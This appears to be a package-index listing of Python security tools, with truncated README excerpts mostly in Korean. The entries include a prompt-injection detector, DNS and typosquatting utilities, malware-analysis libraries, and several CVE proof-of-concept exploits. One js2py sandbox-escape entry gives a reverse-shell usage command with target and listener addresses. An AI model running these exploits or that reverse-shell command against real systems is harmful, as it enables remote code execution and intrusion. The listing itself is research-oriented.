aco-prompt-shield

aco-prompt-shield 🛡️ 프롬프트 인젝션 공격이 LLM에 도달하기 전에 차단하세요 — API 비용 제로, 완전 로컬 실행, 2분 내 통합. 프롬프트 인젝션은 LLM 애플리케이션의 1 보안 위험입니다. aco-prompt-shield는 알려진 제일브레이크 패턴을 탐지하고, ML을 통해 의미적 의도를 이해하며, 난독화를 감지합니다 — 모두 로컬에서, 모두 프라이빗하게. 벤치마크 측정 항목| 결과 ---|--- 탐지율| 95.7% 23개 공격 패턴 중 22개 탐지 오탐률| 0.0% 20개 정상 프롬프트 중 0개 잘못 차단...

CVE-2018-8097

CVE-2018-8097 PoC 이것은 0.7.5 미만 버전의 PyEve 라이브러리에 영향을 미치는 CVE-2018-8097을 시연하는 간단한 파이썬 개념 증명PoC 스크립트입니다. 사용법 usage: cve20188097.py -h -u URL -c COMMAND options: -h, --help show this help message and exit -u URL, --url URL Target URL where you can use the 'where' filter, e.g. http://example.com/peopl...

CVE-2024-28397-RCE

CVE-2024-28397 RCE 스크립트 기본 리버스 셸 페이로드 및 선택적 명령 인자 허용 익스플로잇은 js2py = v0.74에서 작동합니다 요구 사항 Python 3.x requests 라이브러리 pip install requests Netcat 리스너 리버스 셸용 사용 예시 리버스 셸: python exploit.py 10.129.227.108 /runcode --localip 10.10.14.71 --localport 4444 사용자 정의 명령: python exploit.py 10.129.227.108 /runco...

API-dnsdumpster.com

DNSDumpster API 비공식 ⚠️ 중요 고지 : 이 도구는 dnsdumpster.com의 공개 웹사이트를 스크래핑하는 비공식 API 래퍼입니다. DNSDumpster.com은 상업적 및 대규모 사용을 위한 공식 API 플랜을 제공합니다. 안정적이고 프로덕션 수준의 접근이 필요하다면 공식 API를 고려하세요: https://dnsdumpster.com/ 이 비공식 래퍼는 책임감 있게 사용해야 하며 DNSDumpster의 서비스 약관을 준수해야 합니다. 개요 dnsdumpster.com과 상호작용하여 DNS 레코드 및...

Merlion

Merlion: 시계열을 위한 머신러닝 라이브러리 목차 1. 소개 2. 관련 라이브러리와의 비교 3. 설치 4. 문서 5. 시작하기 1. 이상 탐지 2. 예측 6. 평가 및 벤치마킹 7. 기술 보고서 및 Merlion 인용 소개 Merlion은 시계열 인텔리전스를 위한 Python 라이브러리입니다. 데이터 로딩 및 변환, 모델 구축 및 학습, 모델 출력 후처리, 모델 성능 평가를 포함하는 엔드투엔드 머신러닝 프레임워크를 제공합니다. 단변량 및 다변량 시계열 모두에 대해 예측, 이상 탐지, 변화점 탐지 등 다양한 시계열 학습 작...

fake-useragent

fake-useragent 최신 실사용 데이터베이스를 기반으로 하는 간단한 useragent 페이커faker입니다. 특징 데이터는 Intoli LLC에서 사전 다운로드 및 후처리되며, 데이터는 패키지 자체에 포함됩니다. 데이터는 다양한 범위의 브라우저 에이전트와 다양한 브라우저로 구성됩니다. user-agent 문자열 검색 desktop, tablet 및/또는 mobile UA 유형 모두 지원 useragent, percent, type, devicebrand, browser, browserversion, os,...

CVE-2024-55587

CVE-2024-55587 이 저장소는 Python 라이브러리 libarchive의 CVE-2024-55587 취약점에 대한 개념 증명입니다. generatezip 파일은 libarchive의 extractall 메서드에서 안전하지 않은 파일 추출을 악용하는 악성 zip을 생성합니다. vulnerablezip은 취약한 코드의 예시입니다...

selenium-wire

Selenium Wire는 더 이상 유지 관리되지 않습니다. 지원해 주시고 기여해 주신 모든 분들께 감사드립니다. Selenium Wire Selenium Wire는 Selenium의 Python 바인딩을 확장하여 브라우저에서 이루어지는 기본 요청에 접근할 수 있게 해 줍니다. Selenium을 사용할 때와 동일한 방식으로 코드를 작성하되, 요청과 응답을 검사하고 즉석에서 변경할 수 있는 추가 API를 제공받습니다. .. image::...

exploit-js2py

CVE-2024-28397 - js2py 샌드박스 탈출 설명 CVE-2024-28397 취약점은 Python 인터프리터 내에서 JavaScript 코드를 실행할 수 있게 해주는 Python 라이브러리인 js2py 의 v0.74까지의 버전에 영향을 미칩니다. 결함은 JavaScript 코드가 Python 객체에 접근하는 것을 차단해야 하는 disablepyimport 메서드의 구현에 있습니다. 그러나 구현 실패로 인해 공격자는 이 제한을 우회하고 JavaScript 환경 내에서 Python 객체에 대한 참조를 얻을 수 있으며, ...

hashdb

HashDB HashDB는 악성코드에 사용되는 해싱 알고리즘의 커뮤니티 기반 라이브러리입니다. HashDB 사용 방법 HashDB는 독립형 해싱 라이브러리로 사용할 수 있을 뿐만 아니라 OALabs가 운영하는 HashDB Lookup Service에도 데이터를 제공합니다. 이 서비스를 통해 분석가들은 해시를 역산하여 해시된 API 이름과 문자열 값을 조회할 수 있습니다. 독립형 모듈 HashDB는 다른 표준 Python 모듈처럼 복제하여 리버스 엔지니어링 스크립트에서 사용할 수 있습니다. 다음은 몇 가지 예제 코드입니다...

CVE-2024-28397-exploit

js2py 샌드박스 탈출 CVE-2024-28397 js2py = 0.74에서 샌드박스 탈출을 통한 원격 명령 실행RCE 익스플로잇. 안전하지 않은 JavaScript 평가를 통해 호스트 시스템에서 임의의 코드를 실행할 수 있습니다. 취약점 CVE : CVE-2024-28397 구성 요소 : js2py 영향을 받는 버전 : = 0.74 영향 : 원격 코드 실행 Remote Code Execution 벡터 : JavaScript 샌드박스 탈출 취약점 분석 : CVE-2024-28397-js2py-Sandbox-Escape 특징...

CVE-2022-39227

CVE-2022-39227 CVE-2022-39227 : 概念実証 CVE-2022-39227 の概念実証です。このCVEによると、JSON Web Tokenの検証に欠陥があります。有効なトークンを使って、変更されたクレームでその署名を再利用することが可能です。 必要条件: 1. 有効なJSON Web Token。 2. バックエンドがバージョン3.3.4未満のPythonライブラリ「python-jwt」を使用していること。 使いやすくするために、CTF中に簡単なPoCを作成しました。 usage: CVE-2022-39227-PoC -h -j TOKEN -i CLA...

czds

CZDS CZDS란 무엇인가? 각 최상위 도메인TLD은 레지스트리 운영자가 관리하며, 운영자는 공개적으로 제공되는 하위 도메인SLD 목록과 이러한 도메인 이름을 인터넷 프로토콜IP 주소로 확인하는 데 필요한 세부 정보도 관리합니다. 레지스트리 운영자의 존 데이터에는 도메인 이름, 연결된 네임 서버 이름, 해당 네임 서버의 IP 주소에 대한 매핑이 포함됩니다. 이러한 세부 정보는 정보가 변경되거나 도메인 이름이 추가/제거될 때마다 레지스트리 운영자가 해당 TLD에 대해 업데이트합니다. 각 레지스트리 운영자는 존 데이터를 존...

pyOneNote

pyOneNote pyOneNote는 OneNote 파일을 읽기 위한 경량 Python 라이브러리입니다. 이 파서의 주요 목적은 사이버보안 분석가가 OneNote 파일에서 유용한 정보를 추출할 수 있도록 하는 것입니다. 파서 설치 최신 개발 버전 설치 pip install -U https://github.com/DissectMalware/pyOneNote/archive/master.zip --force 파서 실행 현재 디렉터리에 포함된 모든 임베디드 파일을 덤프하려면 pyonenote -f example.one...

ail-typo-squatting

ail-typo-squatting ail-typo-squatting은 잠재적인 타입 스쿼팅typo squatting 도메인 목록을 생성하기 위한 Python 라이브러리로, 도메인 이름 순열 엔진을 사용하여 AIL 및 기타 시스템에 데이터를 공급합니다. 이 도구는 독립 실행형 도구로 사용하거나 다른 시스템에 데이터를 공급하는 데 사용할 수 있습니다. Python 라이브러리를 사용하지 않으려면, https://typosquatting-finder.circl.lu/가 이 라이브러리를 사용하는 온라인 서비스입니다. 요구 사항 Pyth...

dpapi-ng

dpaping - Python DPAPI-NG 복호화/암호화 라이브러리 DPAPI NGCNG DPAPI라고도 함의 복호화 및 암호화를 위한 Python 라이브러리입니다. NCryptUnprotectSecret 및 NCryptProtectSecret의 동작을 재현하도록 설계되었습니다. Windows가 아닌 호스트에서 PFX 사용자 보호 암호 또는 LAPS 암호화 암호와 같은 DPAPI NG로 보호된 비밀값을 복호화/암호화하는 데 사용할 수 있습니다. 도메인의 루트 키 오프라인 사본을 사용하여 모든 DPAPI NG blob을...

gha-lab-ba981941f0

자동화된 연구 산출물 — 상위 프로젝트가 아님. 이 저장소는 Université Laval의 석사 논문에서 게시된 GitHub Actions 워크플로우 취약점 재현을 위해 자동화된 하네스가 구축한 일회용 실험실입니다. 이는 커밋 54ecfe77d41390da66899596834a2bde3712c9662024-11-01 시점의 dedupeio/dedupe를 그대로 스냅샷한 것으로, 해당 프로젝트의 자체 라이선스에 따라 재배포되며, 해당 라이선스 파일은 이 스냅샷에 변경 없이 포함되어 있습니다. 상위 프로젝트는 관여하지 않으며 ,...

dissect.cobaltstrike

Python을 사용한 Cobalt Strike 분석 .. image:: https://github.com/fox-it/dissect.cobaltstrike/actions/workflows/dissect-ci.yml/badge.svg :target: https://github.com/fox-it/dissect.cobaltstrike/actions/workflows/dissect-ci.yml :alt: GitHub Actions status .. image::...

ioc-finder

IOC Finder 텍스트에서 침해 지표또는 "관측 가능 항목" 또는 "네트워크 데이터"라고도 함 - 예: URL, 이메일 주소 등를 추출합니다. 📖 문서 대화형입니다! 💪 이 프로젝트를 위해 후원자를 찾고 있습니다. 추가하고 싶은 개선 사항과 유용한 기능이 여럿 있으며, 이 시간과 집중을 투자하는 동안 약간의 지원을 주시면 감사하겠습니다. 이 프로젝트를 상업적 용도로 사용하시거나 유용하다고 생각하신다면, 기여를 조금이라도 고려해 주세요. 감사합니다!...

scanless

⚠️ Я больше не поддерживаю scanless с августа 2023 года. ⚠️ scanless Это утилита командной строки и библиотека на Python для использования веб-сайтов, которые могут выполнять сканирование портов от вашего имени. Поддерживаемые онлайн-сканеры портов ipfingerprints spiderip standingtech viewdns...